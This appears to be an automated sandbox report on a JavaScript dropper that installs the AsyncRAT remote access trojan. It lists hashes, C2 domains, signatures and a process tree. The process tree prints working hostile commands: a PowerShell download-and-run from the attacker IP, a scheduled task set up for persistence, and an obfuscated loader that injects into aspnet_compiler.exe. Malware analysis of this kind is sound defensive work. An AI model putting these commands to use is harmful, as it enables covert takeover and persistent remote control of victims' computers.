Analysis
-
max time kernel
146s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20231130-en -
resource tags
arch:x64arch:x86image:win10v2004-20231130-enlocale:en-usos:windows10-2004-x64system -
submitted
07-12-2023 07:36
Static task
static1
Behavioral task
behavioral1
Sample
fb3c7a8f-e0ee-474d-918c-a9df0bbfe45c.js
Resource
win7-20231020-en
General
-
Target
fb3c7a8f-e0ee-474d-918c-a9df0bbfe45c.js
-
Size
7KB
-
MD5
b2195fa1ea604007f7a3664e0e49f591
-
SHA1
915985302f8fb7f37d07d22a8ec5cb5e8005fb47
-
SHA256
8550509a02f745f281a2a87c1f336b0fca32bd51c1074b281e5772e5c8a6ff60
-
SHA512
478d9dcd9391a2e224bd291325dde58883d197d4cec1d989a3f054363dc03e19075e174058db828fbfc668cb76e2cd2b73782bbad3cd6a582383a62d37a8b977
-
SSDEEP
96:xBdMQYYVlVS+RwbkiEi3gkFmRePXywbkOEi3ckFmRePXuUxBbLDIX3FU3i:qQYYXVS+R9SgbEPihScbEP+cBb+3FGi
Malware Config
Extracted
http://23.145.120.49:249/js.jpg
Extracted
https://nodejs.org/download/release/v6.17.1/win-x64/node.exe
Extracted
asyncrat
AWS | 3Losh
Js
wpmediatech.com:6606
wpmediatech.com:7707
wpmediatech.com:8808
AsyncMutex_aloshx
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
-
Detect ZGRat V1 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4080-113-0x0000020EAC820000-0x0000020EAC878000-memory.dmp family_zgrat_v1 -
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/1520-116-0x0000000000400000-0x0000000000416000-memory.dmp asyncrat -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 6 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exeWScript.execmd.exeWScript.exeWScript.exeWScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3936660601-1848837011-2142350499-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-3936660601-1848837011-2142350499-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-3936660601-1848837011-2142350499-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-3936660601-1848837011-2142350499-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-3936660601-1848837011-2142350499-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-3936660601-1848837011-2142350499-1000\Control Panel\International\Geo\Nation WScript.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 4080 set thread context of 1520 4080 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
Processes:
cmd.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3936660601-1848837011-2142350499-1000_Classes\Local Settings cmd.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exepowershell.exenode.exenode.exepowershell.exepowershell.exeaspnet_compiler.exenode.exepowershell.exepid process 788 powershell.exe 788 powershell.exe 732 powershell.exe 732 powershell.exe 4672 node.exe 3812 node.exe 4672 node.exe 3812 node.exe 208 powershell.exe 208 powershell.exe 4080 powershell.exe 4080 powershell.exe 208 powershell.exe 4080 powershell.exe 1520 aspnet_compiler.exe 4104 node.exe 4104 node.exe 3952 powershell.exe 3952 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exeaspnet_compiler.exepowershell.exedescription pid process Token: SeDebugPrivilege 788 powershell.exe Token: SeDebugPrivilege 732 powershell.exe Token: SeDebugPrivilege 208 powershell.exe Token: SeDebugPrivilege 4080 powershell.exe Token: SeDebugPrivilege 1520 aspnet_compiler.exe Token: SeDebugPrivilege 3952 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
aspnet_compiler.exepid process 1520 aspnet_compiler.exe -
Suspicious use of WriteProcessMemory 42 IoCs
Processes:
wscript.exepowershell.exeWScript.exenet.execmd.exeWScript.exeWScript.exenode.exenode.execmd.execmd.exepowershell.exeWScript.exenode.execmd.exedescription pid process target process PID 3340 wrote to memory of 788 3340 wscript.exe powershell.exe PID 3340 wrote to memory of 788 3340 wscript.exe powershell.exe PID 788 wrote to memory of 3548 788 powershell.exe WScript.exe PID 788 wrote to memory of 3548 788 powershell.exe WScript.exe PID 3548 wrote to memory of 4752 3548 WScript.exe net.exe PID 3548 wrote to memory of 4752 3548 WScript.exe net.exe PID 4752 wrote to memory of 2316 4752 net.exe net1.exe PID 4752 wrote to memory of 2316 4752 net.exe net1.exe PID 3548 wrote to memory of 4984 3548 WScript.exe cmd.exe PID 3548 wrote to memory of 4984 3548 WScript.exe cmd.exe PID 4984 wrote to memory of 732 4984 cmd.exe powershell.exe PID 4984 wrote to memory of 732 4984 cmd.exe powershell.exe PID 4984 wrote to memory of 2276 4984 cmd.exe WScript.exe PID 4984 wrote to memory of 2276 4984 cmd.exe WScript.exe PID 4984 wrote to memory of 4072 4984 cmd.exe WScript.exe PID 4984 wrote to memory of 4072 4984 cmd.exe WScript.exe PID 2276 wrote to memory of 3812 2276 WScript.exe node.exe PID 2276 wrote to memory of 3812 2276 WScript.exe node.exe PID 4072 wrote to memory of 4672 4072 WScript.exe node.exe PID 4072 wrote to memory of 4672 4072 WScript.exe node.exe PID 3812 wrote to memory of 2572 3812 node.exe cmd.exe PID 3812 wrote to memory of 2572 3812 node.exe cmd.exe PID 4672 wrote to memory of 4440 4672 node.exe cmd.exe PID 4672 wrote to memory of 4440 4672 node.exe cmd.exe PID 2572 wrote to memory of 208 2572 cmd.exe powershell.exe PID 2572 wrote to memory of 208 2572 cmd.exe powershell.exe PID 4440 wrote to memory of 4080 4440 cmd.exe powershell.exe PID 4440 wrote to memory of 4080 4440 cmd.exe powershell.exe PID 4080 wrote to memory of 1520 4080 powershell.exe aspnet_compiler.exe PID 4080 wrote to memory of 1520 4080 powershell.exe aspnet_compiler.exe PID 4080 wrote to memory of 1520 4080 powershell.exe aspnet_compiler.exe PID 4080 wrote to memory of 1520 4080 powershell.exe aspnet_compiler.exe PID 4080 wrote to memory of 1520 4080 powershell.exe aspnet_compiler.exe PID 4080 wrote to memory of 1520 4080 powershell.exe aspnet_compiler.exe PID 4080 wrote to memory of 1520 4080 powershell.exe aspnet_compiler.exe PID 4080 wrote to memory of 1520 4080 powershell.exe aspnet_compiler.exe PID 3424 wrote to memory of 4104 3424 WScript.exe node.exe PID 3424 wrote to memory of 4104 3424 WScript.exe node.exe PID 4104 wrote to memory of 2332 4104 node.exe cmd.exe PID 4104 wrote to memory of 2332 4104 node.exe cmd.exe PID 2332 wrote to memory of 3952 2332 cmd.exe powershell.exe PID 2332 wrote to memory of 3952 2332 cmd.exe powershell.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\fb3c7a8f-e0ee-474d-918c-a9df0bbfe45c.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-BitsTransfer -Source 'http://23.145.120.49:249/js.jpg' -Destination 'C:\Users\Public\zip.zip'; Expand-Archive -Path 'C:\Users\Public\zip.zip' -DestinationPath 'C:\Users\Public\' -Force;Remove-Item C:\Users\Public\zip.zip; C:\Users\Public\brave.vbs2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\brave.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" session4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\node.bat" "4⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -Command "Start-BitsTransfer -Source 'https://nodejs.org/download/release/v6.17.1/win-x64/node.exe' -Destination 'C:\Users\Public\node.exe'"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\shell.js"5⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\node.exe"C:\Users\Public\node.exe" C:\Users\Public\install.js6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /s /c "powershell.exe -c $tr = New-Object -ComObject Schedule.Service;$tr.Connect();$ta = $tr.NewTask(0);$ta.RegistrationInfo.Description = 'Runs a script every 2 minutes';$ta.Settings.Enabled = $true;$ta.Settings.DisallowStartIfOnBatteries = $false;$st = $ta.Triggers.Create(1);$st.StartBoundary = [DateTime]::Now.ToString('yyyy-MM-ddTHH:mm:ss');$st.Repetition.Interval = 'PT2M';$md = $ta.Actions.Create(0);$md.Path = 'C:\Users\Public\app.js';$ns = $tr.GetFolder('\');$ns.RegisterTaskDefinition('Media', $ta, 6, $null, $null, 3);"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\app.js"5⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\node.exe"C:\Users\Public\node.exe" C:\Users\Public\run.js6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /s /c "powershell.exe -Command "Function OF([String] $Jxxxe) {$JS = [System.Collections.Generic.List[Byte]]::new();for ($i = 0; $i -lt $Jxxxe.Length; $i +=8) {$JS.Add([Convert]::ToByte($Jxxxe.Substring($i, 8), 2));}return [System.Text.Encoding]::ASCII.GetString($JS.ToArray());}Function User {param($x3losh)$x3losh = $x3losh -split '(..)' | ? { $_ };ForEach ($JSEYHESSS325 in $x3losh){[Convert]::ToInt32($JSEYHESSS325,16);}}$Jxxxe = (Get-Content -Path 'C:\Users\Public\msg.dll' -Raw) -replace '%','0' -replace '!','1' -replace '@','A';$geGWHZ = (Get-Content -Path 'C:\Users\Public\runpe.dll' -Raw) -replace '%','0' -replace '!','1' -replace '@','A';$load = (Get-Content -Path 'C:\Users\Public\load.dll');$type = (Get-Content -Path 'C:\Users\Public\type.dll');$new1 = OF(Get-Content -Path 'C:\Users\Public\xx.dll');$method = (Get-Content -Path 'C:\Users\Public\method.dll');$wex = OF(Get-Content -Path 'C:\Users\Public\Execute.dll');$invoke = (Get-Content -Path 'C:\Users\Public\invoke.dll');$Framework = OF(Get-Content -Path 'C:\Users\Public\Framework.dll');$i = 0;while ($true) {; try {;[Byte[]]$JR = User $Jxxxe;[Byte[]]$Coment = User $geGWHZ; break; } catch {; };};[Reflection.Assembly]::$load($Coment).$type($new1).$method($wex).$invoke($null,[object[]] ($Framework,$null,$JR,$true));""7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -c $tr = New-Object -ComObject Schedule.Service;$tr.Connect();$ta = $tr.NewTask(0);$ta.RegistrationInfo.Description = 'Runs a script every 2 minutes';$ta.Settings.Enabled = $true;$ta.Settings.DisallowStartIfOnBatteries = $false;$st = $ta.Triggers.Create(1);$st.StartBoundary = [DateTime]::Now.ToString('yyyy-MM-ddTHH:mm:ss');$st.Repetition.Interval = 'PT2M';$md = $ta.Actions.Create(0);$md.Path = 'C:\Users\Public\app.js';$ns = $tr.GetFolder('\');$ns.RegisterTaskDefinition('Media', $ta, 6, $null, $null, 3);1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "Function OF([String] $Jxxxe) {$JS = [System.Collections.Generic.List[Byte]]::new();for ($i = 0; $i -lt $Jxxxe.Length; $i +=8) {$JS.Add([Convert]::ToByte($Jxxxe.Substring($i, 8), 2));}return [System.Text.Encoding]::ASCII.GetString($JS.ToArray());}Function User {param($x3losh)$x3losh = $x3losh -split '(..)' | ? { $_ };ForEach ($JSEYHESSS325 in $x3losh){[Convert]::ToInt32($JSEYHESSS325,16);}}$Jxxxe = (Get-Content -Path 'C:\Users\Public\msg.dll' -Raw) -replace '%','0' -replace '!','1' -replace '@','A';$geGWHZ = (Get-Content -Path 'C:\Users\Public\runpe.dll' -Raw) -replace '%','0' -replace '!','1' -replace '@','A';$load = (Get-Content -Path 'C:\Users\Public\load.dll');$type = (Get-Content -Path 'C:\Users\Public\type.dll');$new1 = OF(Get-Content -Path 'C:\Users\Public\xx.dll');$method = (Get-Content -Path 'C:\Users\Public\method.dll');$wex = OF(Get-Content -Path 'C:\Users\Public\Execute.dll');$invoke = (Get-Content -Path 'C:\Users\Public\invoke.dll');$Framework = OF(Get-Content -Path 'C:\Users\Public\Framework.dll');$i = 0;while ($true) {; try {;[Byte[]]$JR = User $Jxxxe;[Byte[]]$Coment = User $geGWHZ; break; } catch {; };};[Reflection.Assembly]::$load($Coment).$type($new1).$method($wex).$invoke($null,[object[]] ($Framework,$null,$JR,$true));"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WScript.exeC:\Windows\System32\WScript.exe "C:\Users\Public\app.js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\node.exe"C:\Users\Public\node.exe" C:\Users\Public\run.js2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /s /c "powershell.exe -Command "Function OF([String] $Jxxxe) {$JS = [System.Collections.Generic.List[Byte]]::new();for ($i = 0; $i -lt $Jxxxe.Length; $i +=8) {$JS.Add([Convert]::ToByte($Jxxxe.Substring($i, 8), 2));}return [System.Text.Encoding]::ASCII.GetString($JS.ToArray());}Function User {param($x3losh)$x3losh = $x3losh -split '(..)' | ? { $_ };ForEach ($JSEYHESSS325 in $x3losh){[Convert]::ToInt32($JSEYHESSS325,16);}}$Jxxxe = (Get-Content -Path 'C:\Users\Public\msg.dll' -Raw) -replace '%','0' -replace '!','1' -replace '@','A';$geGWHZ = (Get-Content -Path 'C:\Users\Public\runpe.dll' -Raw) -replace '%','0' -replace '!','1' -replace '@','A';$load = (Get-Content -Path 'C:\Users\Public\load.dll');$type = (Get-Content -Path 'C:\Users\Public\type.dll');$new1 = OF(Get-Content -Path 'C:\Users\Public\xx.dll');$method = (Get-Content -Path 'C:\Users\Public\method.dll');$wex = OF(Get-Content -Path 'C:\Users\Public\Execute.dll');$invoke = (Get-Content -Path 'C:\Users\Public\invoke.dll');$Framework = OF(Get-Content -Path 'C:\Users\Public\Framework.dll');$i = 0;while ($true) {; try {;[Byte[]]$JR = User $Jxxxe;[Byte[]]$Coment = User $geGWHZ; break; } catch {; };};[Reflection.Assembly]::$load($Coment).$type($new1).$method($wex).$invoke($null,[object[]] ($Framework,$null,$JR,$true));""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "Function OF([String] $Jxxxe) {$JS = [System.Collections.Generic.List[Byte]]::new();for ($i = 0; $i -lt $Jxxxe.Length; $i +=8) {$JS.Add([Convert]::ToByte($Jxxxe.Substring($i, 8), 2));}return [System.Text.Encoding]::ASCII.GetString($JS.ToArray());}Function User {param($x3losh)$x3losh = $x3losh -split '(..)' | ? { $_ };ForEach ($JSEYHESSS325 in $x3losh){[Convert]::ToInt32($JSEYHESSS325,16);}}$Jxxxe = (Get-Content -Path 'C:\Users\Public\msg.dll' -Raw) -replace '%','0' -replace '!','1' -replace '@','A';$geGWHZ = (Get-Content -Path 'C:\Users\Public\runpe.dll' -Raw) -replace '%','0' -replace '!','1' -replace '@','A';$load = (Get-Content -Path 'C:\Users\Public\load.dll');$type = (Get-Content -Path 'C:\Users\Public\type.dll');$new1 = OF(Get-Content -Path 'C:\Users\Public\xx.dll');$method = (Get-Content -Path 'C:\Users\Public\method.dll');$wex = OF(Get-Content -Path 'C:\Users\Public\Execute.dll');$invoke = (Get-Content -Path 'C:\Users\Public\invoke.dll');$Framework = OF(Get-Content -Path 'C:\Users\Public\Framework.dll');$i = 0;while ($true) {; try {;[Byte[]]$JR = User $Jxxxe;[Byte[]]$Coment = User $geGWHZ; break; } catch {; };};[Reflection.Assembly]::$load($Coment).$type($new1).$method($wex).$invoke($null,[object[]] ($Framework,$null,$JR,$true));"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5e5ab5d093e49058a43f45f317b401e68
SHA1120da069a87aa9507d2b66c07e368753d3061c2d
SHA2564ec6d8e92ffc5b2a0db420e2d031a2226eef582d5e56d5088fc91bba77288e74
SHA512d44361457713abd28c49f9aa4043b76882e2b5e626816267cf3d79454c48980ba6207333f23b7976b714e090c658db36a844cb27cd6a91615014f3b06ef5623a
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
238B
MD50a08ab761b34630c11f095a1a797fa11
SHA1ee138ca368b007eb8d447fe74b88c590195aee4d
SHA25625a0f1ff8275d3bef3e6ea71cf216b40fda4c5cead367f14953f7d95dca76513
SHA512914ab228296ea160910ab0d82d393636fb29afe57d9ea1a5bc17f1bdc85540b693e64c67c8c1b1ff375e699d55e97e0cc73391dcf6902c9ffa1e64abc1556309
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD597c025d255d55453c0992bee21845a5e
SHA1b2fc6ef39cb11b336fc4671d84e9005ca438e511
SHA25615f10c2059b70d29d201347b4bd39af6a137faee77444125e850630f16c73cf4
SHA512bbfde0030cbe7eee9d6cca3db13e9b3979f267a79abfd36000fa368a9364d5d4ea2948377858bc6235d34c5ec18c1d173a73aad8966d35d484eee508614a44e6
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
2KB
MD52cd1969c0169b051fa4bbb336f8e9df6
SHA15cf14833ec6482686190fff667977f90b8a1202f
SHA256a6f6a20786fc4a70177c5f54af73a04f21f5f88d98ee096b0c5e6e1b494bae38
SHA5126458f69259c08a6ef20e7f5944d3880783348cd82c030019dc2547aea82a7b92069af3edc0cc61af32cbcd5611d34ca245b5a0f8d66d7be692e6d6404ebfd1bd
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2f2acujy.1tv.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Public\Execute.dllFilesize
56B
MD5529cf04db0f736467c7583ea80c3aa66
SHA17628148337b1d3d700c8151f76a1595b6f5123b8
SHA25667642e56281bc4aa846689bc725f8fcc76e61c20831aa4f7e2e0c8cdba17e520
SHA512f612b12e1a7c2021f6c2723fe57f23aba3d1b6588f080dd67e48dc44eeaf88455e4bc6bf9caed088c63c3fb019ad8696eeb44e7bb09f8c81638779f4658ef6d4
-
C:\Users\Public\Framework.dllFilesize
520B
MD56a08392ecf95df7fc91917dcfaae8da6
SHA1480f6a5c761e1a069c0d68f5ac2aabf727791393
SHA2560a572ee5508d9310936801a04237d56f118dff4dbaa98f60070988cc4b8ca460
SHA512d70c436183a9c6f6d4ce9296dce846f94cd12d7fbb76b24e59d88a77349a95a7a0d6ad8f9f4ffc32a98618b3250e0d35e4cf9ff1e711f4e63ffee425597dfc5e
-
C:\Users\Public\app.jsFilesize
353B
MD5a307c4557d5fdf209e1b38a803e03b52
SHA114e00c86caadf2ed0949dc7a3f6bffbb5b9cd0fa
SHA2563a16f15174757a5f84ae743db042b62b2554620118de63be2e7086827f114bf5
SHA5122c6ad68b4bfe3cd0260712da43a48f1e9b0d60d555be80560a892fb21617061f4efa02c3bb078fb0f02fdd432c48afb88e5f5ec9a05fb82124face2a27a3ac66
-
C:\Users\Public\brave.vbsFilesize
2KB
MD58c2bd49f41e4a825fc7f030bb38143f6
SHA1290b7da6cdd513b6d06deca81c288fa6f8a92b1f
SHA2562b58d54f0620f94e37f97ef5d4281b9ba50e171fd542967f22a3053096315b03
SHA5121d6dcbf178c4ed4f60e99b8555f2c420e550e1bb91777a4ce1f01ce2d801d964ced6ff0ca74972370b150f31d63624788380448732b50ce9ec7e58c64c3aa17d
-
C:\Users\Public\install.jsFilesize
796B
MD55727e0cb34eac044ea5495b99b7a2f8c
SHA16b99de1c9f92718e0053645c2e597d745f23ae34
SHA256633dc94e7d8e997438a21ac12d05ef1614f7ef8b3df815ea19041880dd0ad8d9
SHA512300fa4ce3943279b7eff9dd844e8713a1d3a414f6217d881158181440bb187f16715fc494134dc584c826ead713a8d8f9a0f4ff1e17b2b37aef09e88c5ea603b
-
C:\Users\Public\invoke.dllFilesize
6B
MD5b9376e9e3c4d48f5e35a3f355ae1f74a
SHA1c65605adf5270f5065089b0189da542274d30db0
SHA25690092e5fb861dd4ff34fa20f4b31ca44ebbb3bc367a8d7a35b89a7f89c793fa9
SHA5125560101edb289c4a86476bce55648324ef188ff1e2d879a1a3bc10c1298aa643255c35d16a984f30d624fe9a87306304eaa14179863001ddd6e264e8bba17591
-
C:\Users\Public\load.dllFilesize
4B
MD5f19dbf2edb3a0bd74b0524d960ff21eb
SHA1ddcb77ff769ea54ca622848f6bedd4004fa4f4fa
SHA2568a6bdb6b18da586fe7f2acbd8f1055533f2cd97a3681b3652bcd712224df45c3
SHA512f0419117db6330f52eba6e7ef08a5cb096fdb02a40b1dfe4f28dd57791a11b6753e4db0fb63e1c4a22293584dc61908a8e2e99dc59a07f805e097c723329d216
-
C:\Users\Public\method.dllFilesize
9B
MD538b97710070dbdd7b3359c0d52da4a72
SHA14ce08d2147c514f9c8e1f83d384369ec8986bc3b
SHA256675f06af4e7f254d55ac605bbd7da45d9e00207a97f8a8ab7bb747d512776bc7
SHA512b11cec0f21dec871163d6c254850d3f807ecc4ae726b143a0c4667a25c3a3fe9283aee3f6850a2389fdce3d20f41d9c3d30f4768171137d6bdc1355a2116189c
-
C:\Users\Public\msg.dllFilesize
129KB
MD56582381682a8618da150ce6c3de6a227
SHA10f34186a7fc3519005dcc369aab22a109ba8f2da
SHA256b1805c2c47cb2734111e8b03b3e305de22c4c3149fb3dff96c869df59d806e9e
SHA512338b76b56fb4aa89d485f1519942fd1ab09facd5f6e06d92c1038bc53cfc389514b98065ad5ded74c1eada98d0950f218d17bab0ca2b0d4cb1ece71c9b467bdc
-
C:\Users\Public\node.batFilesize
604B
MD548e50f8d07d71b99772fcaff006ff53e
SHA1ae7caa69a56d643466003567d1560ca369bcec37
SHA256360eb0a4b12c48059e0b58994bf42d9525a6cba97f6b8f4dc70fbbcfa4792957
SHA5121a6fb38519a7181c20fd2465945e8dd01057ad8a223362fa8af73f91e7a079ca34ca9b76787d92ba733f02ea795a8cddacc93e33af32fe8f51a548bdec5e2438
-
C:\Users\Public\run.jsFilesize
8KB
MD59840c805e56a4b32437e7985520eda6c
SHA1360d4fdc697375269b509304cb8f3ffa52df524a
SHA256ae5af88d556975ffb39af6c7d12da330de39a7eaaf65f6fd9c9414253e0f5334
SHA51201f7d8ecb5c7d516763825c071aeb9ca786bcd686765cfb789df23a26c6b914dec259fa03a1ab190fb33a0af3e35b4c7afe11c8e9cf0d469818bdf331f6c3d67
-
C:\Users\Public\runpe.dllFilesize
656KB
MD53afb403063fe1faf571332a4afcf238c
SHA17db1273349ddc765ccaa15c97148a849d3a300f8
SHA25666980cc688f22905fcb2d034bec4777d71f8fdd30beceb4dac7a71bf7f6abeed
SHA51250d975edec1ca36d817371e6dbe3e4020537d4c86076c1ba2cfd434c0bf136d0004a44bd3182a79a80bfb1da2c6eae20e5aecd1a22a6c220bb4dd76755e1ef8a
-
C:\Users\Public\shell.jsFilesize
182B
MD5d71e2d55ee0534b06313f71aefd921b9
SHA16c7713299bdcb1cc4046b7612775c24ddf68ad82
SHA25643bdd5e0b846271a4bae3a4f74c8310b914497abd2ffe0e1886ec9fec9f25ecd
SHA5126e5f222fa12d4dad713d5e8dd6a443d09ba5f715fa8701b5b26edf0f1ae8204d65eb560b003dfbc5b2f240079dc2c4eb06b9c2245de24338fa9a5c80647eb536
-
C:\Users\Public\type.dllFilesize
7B
MD5be784e48d0174367297b636456c7bcf1
SHA18c906d9e0e2439238b3263e087aee3d98fa86dea
SHA256510760f4c6f7fb3b5b332cd7d3a2f674235b0f58d77dbc3972adaf682a168136
SHA512aed58d8904742a672f9ba339069004a1c0339e6481a8949de14ee8bf2afef43f8e18e55ba4a6854a7950ee355675c26b46120e500472deaf0986f68451442ae4
-
C:\Users\Public\xx.dllFilesize
72B
MD514c2a6b7bf15e15d8dae9cd4a56432d5
SHA10d00aa5d547ea7e6f7283221e5f3b0cc91cc6016
SHA25679891821778c4ca9358c27e7fb66b0442a2921b661df1293e398b18d81da5d96
SHA512e476851faf540c3679225de2b224d64d117fa1857a4db7b34714d0154b8ba5ebaab50e1a6b0578759b7572e89e3df4d0d4112a7e4f5b81230931cfe6b651c63d
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/208-95-0x00007FFB08FF0000-0x00007FFB09AB1000-memory.dmpFilesize
10.8MB
-
memory/208-97-0x00000285CBDC0000-0x00000285CBDD0000-memory.dmpFilesize
64KB
-
memory/208-111-0x00007FFB08FF0000-0x00007FFB09AB1000-memory.dmpFilesize
10.8MB
-
memory/208-98-0x00000285CBDC0000-0x00000285CBDD0000-memory.dmpFilesize
64KB
-
memory/732-55-0x00007FFB08FF0000-0x00007FFB09AB1000-memory.dmpFilesize
10.8MB
-
memory/732-61-0x0000025F20690000-0x0000025F206A0000-memory.dmpFilesize
64KB
-
memory/732-66-0x0000025F20690000-0x0000025F206A0000-memory.dmpFilesize
64KB
-
memory/732-68-0x0000025F21270000-0x0000025F21296000-memory.dmpFilesize
152KB
-
memory/732-69-0x00007FFB08FF0000-0x00007FFB09AB1000-memory.dmpFilesize
10.8MB
-
memory/788-10-0x00007FFB08FF0000-0x00007FFB09AB1000-memory.dmpFilesize
10.8MB
-
memory/788-9-0x000002AA63550000-0x000002AA63572000-memory.dmpFilesize
136KB
-
memory/788-11-0x000002AA63110000-0x000002AA63120000-memory.dmpFilesize
64KB
-
memory/788-52-0x00007FFB08FF0000-0x00007FFB09AB1000-memory.dmpFilesize
10.8MB
-
memory/788-17-0x000002AA637F0000-0x000002AA637FA000-memory.dmpFilesize
40KB
-
memory/788-16-0x000002AA639B0000-0x000002AA639C2000-memory.dmpFilesize
72KB
-
memory/788-15-0x000002AA63110000-0x000002AA63120000-memory.dmpFilesize
64KB
-
memory/788-14-0x000002AA637D0000-0x000002AA637E4000-memory.dmpFilesize
80KB
-
memory/788-13-0x000002AA63780000-0x000002AA637A6000-memory.dmpFilesize
152KB
-
memory/788-12-0x000002AA63110000-0x000002AA63120000-memory.dmpFilesize
64KB
-
memory/1520-125-0x0000000005920000-0x000000000592A000-memory.dmpFilesize
40KB
-
memory/1520-126-0x0000000074F50000-0x0000000075700000-memory.dmpFilesize
7.7MB
-
memory/1520-116-0x0000000000400000-0x0000000000416000-memory.dmpFilesize
88KB
-
memory/1520-121-0x0000000074F50000-0x0000000075700000-memory.dmpFilesize
7.7MB
-
memory/1520-122-0x0000000005980000-0x0000000005990000-memory.dmpFilesize
64KB
-
memory/1520-123-0x0000000006040000-0x00000000065E4000-memory.dmpFilesize
5.6MB
-
memory/1520-124-0x0000000005B90000-0x0000000005C22000-memory.dmpFilesize
584KB
-
memory/1520-127-0x0000000005980000-0x0000000005990000-memory.dmpFilesize
64KB
-
memory/3952-136-0x00007FFB08FF0000-0x00007FFB09AB1000-memory.dmpFilesize
10.8MB
